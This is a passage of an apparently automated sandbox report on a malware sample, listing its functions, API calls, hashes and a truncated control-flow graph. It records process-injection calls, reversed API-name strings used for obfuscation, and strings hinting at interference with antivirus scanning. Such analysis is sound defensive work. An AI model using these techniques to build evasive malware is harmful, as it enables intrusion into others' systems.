                                                                                      • Part of subcall function 02BB4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02BB4EDA
                                                                                    • RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDC80), ref: 02BCDBEB
                                                                                    • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02BCDC80), ref: 02BCDC1B
                                                                                    • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02BCDC30
                                                                                    • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02BCDC5C
                                                                                    • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02BCDC65
                                                                                      • Part of subcall function 02BB4C0C: SysFreeString.OLEAUT32(02BCE950), ref: 02BB4C1A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$String$AllocCloseFreeInformationOpenQueryRead
                                                                                    • String ID:
                                                                                    • API String ID: 2659941336-0
                                                                                    • Opcode ID: efb7deaf710d2db9f2052af05f696f05262ddc05885c551739b3d56526510eeb
                                                                                    • Instruction ID: 0390617531250ee061b6e2e194a63d16e4d7413d899f24749b51d57fe3f58232
                                                                                    • Opcode Fuzzy Hash: efb7deaf710d2db9f2052af05f696f05262ddc05885c551739b3d56526510eeb
                                                                                    • Instruction Fuzzy Hash: EF21C275650309BAEB15EAD4CC56FEF77BDAF48700F5004A5B700F7181D6B4A9048BA5
                                                                                    Function 02BCE2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02BCE436
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CheckConnectionInternet
                                                                                    • String ID: Initialize$OpenSession$ScanBuffer
                                                                                    • API String ID: 3847983778-3852638603
                                                                                    • Opcode ID: 9498aede37a402ea99705788234e708f5000989cc522e612a51f9cd4412d6f98
                                                                                    • Instruction ID: 963f08fe2c48ab2443da74aceb23aca5c09885db7c98b6967be2b134683a8061
                                                                                    • Opcode Fuzzy Hash: 9498aede37a402ea99705788234e708f5000989cc522e612a51f9cd4412d6f98
                                                                                    • Instruction Fuzzy Hash: B241FE31A501189FEB12EBA4C891AEEB3FAFF4C710F2148A5E151A7651DAB4ED05CF60
                                                                                    Function 02BCDACC Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 02BB4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02BB4EDA
                                                                                    • RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDB9E), ref: 02BCDB0B
                                                                                    • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02BCDB45
                                                                                    • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02BCDB72
                                                                                    • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02BCDB7B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: File$AllocCloseCreateStringWrite
                                                                                    • String ID:
                                                                                    • API String ID: 3308905243-0
                                                                                    • Opcode ID: def5aae929a962f9226f9e4766b0adcdf17db80423915320657d7befebbbf497
                                                                                    • Instruction ID: f07d85c802b245f77e4cf648833d732b9bde44962b96fe60f368c0d1d8c94f64
                                                                                    • Opcode Fuzzy Hash: def5aae929a962f9226f9e4766b0adcdf17db80423915320657d7befebbbf497
                                                                                    • Instruction Fuzzy Hash: 5321EE75A40209BAEB11EA94CD56FEEB7BDEF04B00F6140A5B604F71D1D7B06A048A65
                                                                                    Function 02BC79B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BC7A27
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                    • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                    • API String ID: 4072585319-445027087
                                                                                    • Opcode ID: 5c9c6e5f59d5c67f9159149522c0d8c0ee039c29de040b8ce4f1e0e3398c5a6b
                                                                                    • Instruction ID: 9af37bdc274c0f3e188015fb02e9f0658a098d75956eba5832acef9eb7a697d8
                                                                                    • Opcode Fuzzy Hash: 5c9c6e5f59d5c67f9159149522c0d8c0ee039c29de040b8ce4f1e0e3398c5a6b
                                                                                    • Instruction Fuzzy Hash: 7B115E75600208BFEB01EFA4DC51FAEB7EDFB4D710FA148A4B504D7A40DAB4AA109F20
                                                                                    Function 02BC79B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BC7A27
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                    • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                    • API String ID: 4072585319-445027087
                                                                                    • Opcode ID: 76246d915779112acad20d90006c04d5aa295a256b598f37e2f906ab642185de
                                                                                    • Instruction ID: 3cb33ad1e35ae1a10e8ce202c0cf338b38fe8c80e8fdc9988cefae244dbf4664
                                                                                    • Opcode Fuzzy Hash: 76246d915779112acad20d90006c04d5aa295a256b598f37e2f906ab642185de
                                                                                    • Instruction Fuzzy Hash: 9E115E75600208BFEB01EF94DC51FAEB7ADFB4D710FA148A4B504D7A40DAB4AA109F20
                                                                                    Function 02BC7D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BC7D74
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$MemoryVirtualWrite
                                                                                    • String ID: Ntdll$yromeMlautriVetirW
                                                                                    • API String ID: 2719805696-3542721025
                                                                                    • Opcode ID: 17061a54144170808f78f45e9b8688148cdae15e595475a588bdfb130d5026ba
                                                                                    • Instruction ID: 515abda8ff59bff11834455ca6ee883fd654815a50e3e3f9b58188887e45579a
                                                                                    • Opcode Fuzzy Hash: 17061a54144170808f78f45e9b8688148cdae15e595475a588bdfb130d5026ba
                                                                                    • Instruction Fuzzy Hash: C7012DB5600208AFEB01EFA9D851EAEB7FDFB49710FA14494B508D7A40DAB4A9109F24
                                                                                    Function 02BC8584 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21nativethreadCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • NtQueueApcThread.NTDLL(?,?,?,?,?), ref: 02BC85B5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$QueueThread
                                                                                    • String ID: NtQueueApcThread$ntdll
                                                                                    • API String ID: 3075473611-1374908105
                                                                                    • Opcode ID: b52f0bec137fd57b0dd5953d9bbf64c9b0423ed7eedb35e4ca4df365c3586c97
                                                                                    • Instruction ID: d4c6e62d98a6a492795b9a6309a4347dd0c00f5eeaa0909bdb585b7cd9e7faa4
                                                                                    • Opcode Fuzzy Hash: b52f0bec137fd57b0dd5953d9bbf64c9b0423ed7eedb35e4ca4df365c3586c97
                                                                                    • Instruction Fuzzy Hash: 7CE0B6B2640209AF9B41DF99D845E8B77EDBB0D250B544549FA0DD7601C6B4E8208B65
                                                                                    Function 02BCD9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RtlInitUnicodeString.NTDLL(?,?), ref: 02BCDA6C
                                                                                    • RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDABE), ref: 02BCDA82
                                                                                    • NtDeleteFile.NTDLL(?), ref: 02BCDAA1
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteFileInitStringUnicode
                                                                                    • String ID:
                                                                                    • API String ID: 3559453722-0
                                                                                    • Opcode ID: bf70f10368f69fdb7d8333835ad8e396e14aeec9581cae6cb5de27cf627eeb58
                                                                                    • Instruction ID: a9abad1ae47c54170d0eb4f03a1f20357a07971d5ecb52a253fcfa16f6238cc2
                                                                                    • Opcode Fuzzy Hash: bf70f10368f69fdb7d8333835ad8e396e14aeec9581cae6cb5de27cf627eeb58
                                                                                    • Instruction Fuzzy Hash: 6B016279908349BEEB05EBA08D41BDD77B9AB44704F6104FAB321F7092DBB46F048B25
                                                                                    Function 02BCDA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BB4ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02BB4EDA
                                                                                    • RtlInitUnicodeString.NTDLL(?,?), ref: 02BCDA6C
                                                                                    • RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDABE), ref: 02BCDA82
                                                                                    • NtDeleteFile.NTDLL(?), ref: 02BCDAA1
                                                                                      • Part of subcall function 02BB4C0C: SysFreeString.OLEAUT32(02BCE950), ref: 02BB4C1A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: String$AllocDeleteFileFreeInitUnicode
                                                                                    • String ID:
                                                                                    • API String ID: 2841551397-0
                                                                                    • Opcode ID: f7481b6cee269098451e1fceb426095281478151a00e91ae34e476a88429cfd5
                                                                                    • Instruction ID: 1e19d570144c33e36d33859c18730f708657bebdfee4ae15415caeb819df61e4
                                                                                    • Opcode Fuzzy Hash: f7481b6cee269098451e1fceb426095281478151a00e91ae34e476a88429cfd5
                                                                                    • Instruction Fuzzy Hash: 8401E17590420DBEDB11EAE0CD51FDEB7BDEB48700F6045B5B611F2191EBB4AB048A64
                                                                                    Function 02BC6D50 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC6CF4: CLSIDFromProgID.OLE32(00000000,?,00000000,02BC6D41,?,?,?,00000000), ref: 02BC6D21
                                                                                    • CoCreateInstance.OLE32(?,00000000,00000005,02BC6E34,00000000,00000000,02BC6DB3,?,00000000,02BC6E23), ref: 02BC6D9F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateFromInstanceProg
                                                                                    • String ID:
                                                                                    • API String ID: 2151042543-0
                                                                                    • Opcode ID: 390d117c70231d48934e5c36970953220e03bbc36f50c31517ec1cf1f3121246
                                                                                    • Instruction ID: 67811ae70f7eb8a02a54695e04181dd00d112a707ab1a3fb09f4b8939c845246
                                                                                    • Opcode Fuzzy Hash: 390d117c70231d48934e5c36970953220e03bbc36f50c31517ec1cf1f3121246
                                                                                    • Instruction Fuzzy Hash: D601F271608704AEE706DF64DC52DBBBBADEB89B10B6244BAF901D2650E6748A10C961
                                                                                    Function 02BD7878 Relevance: 162.0, APIs: 5, Strings: 86, Instructions: 2771processthreadCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 5548 2bd7878-2bd7a62 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 5603 2bd7a68-2bd7c67 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb4898 5548->5603 5604 2bd7a63 call 2bc8824 5548->5604 5663 2bd7c6d-2bd7e40 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb4798 call 2bb494c call 2bb4d20 call 2bb4d9c CreateProcessAsUserW 5603->5663 5664 2bd8af1-2bd8c74 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb4898 5603->5664 5604->5603 5773 2bd7ebe-2bd7fc9 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 5663->5773 5774 2bd7e42-2bd7eb9 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 5663->5774 5753 2bd8c7a-2bd8c89 call 2bb4898 5664->5753 5754 2bd9420-2bdaa25 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 